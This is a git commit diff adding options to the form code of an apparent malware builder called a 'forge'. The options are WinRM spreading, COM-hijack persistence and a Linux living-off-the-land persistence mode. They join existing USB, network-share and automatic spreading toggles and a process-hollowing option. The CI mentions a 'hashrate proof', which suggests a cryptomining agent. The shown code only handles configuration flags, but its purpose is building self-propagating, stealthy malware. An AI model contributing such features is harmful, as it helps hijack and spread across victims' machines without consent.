Add forge spread toggles for WinRM and Linux LOTL
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

This commit is contained in:
AetherForge
2026-06-07 00:43:21 -07:00
parent 9ad4cce194
commit 6761d4285c
13 changed files with 204 additions and 3 deletions

View File

@@ -76,6 +76,9 @@ export function spreadKitPreset(): Partial<BuildRequest> {
auto_spread: false,
usb_spread: false,
share_spread: false,
winrm_spread: false,
com_hijack_persist: false,
linux_lotl_mode: 'off',
};
}
@@ -137,6 +140,15 @@ export function normalizeForgeForm(form: BuildRequest): BuildRequest {
// Process hollowing — Windows workers only
if (isSingleUnixTarget(next.target_os)) {
next.process_hollowing = false;
next.winrm_spread = false;
next.com_hijack_persist = false;
}
// Linux LOTL persistence — Linux/universal workers only
if (isWindowsOnlyTarget(next.target_os)) {
next.linux_lotl_mode = 'off';
} else if (!next.linux_lotl_mode || next.linux_lotl_mode === '') {
next.linux_lotl_mode = 'off';
}
// Install base matches target OS family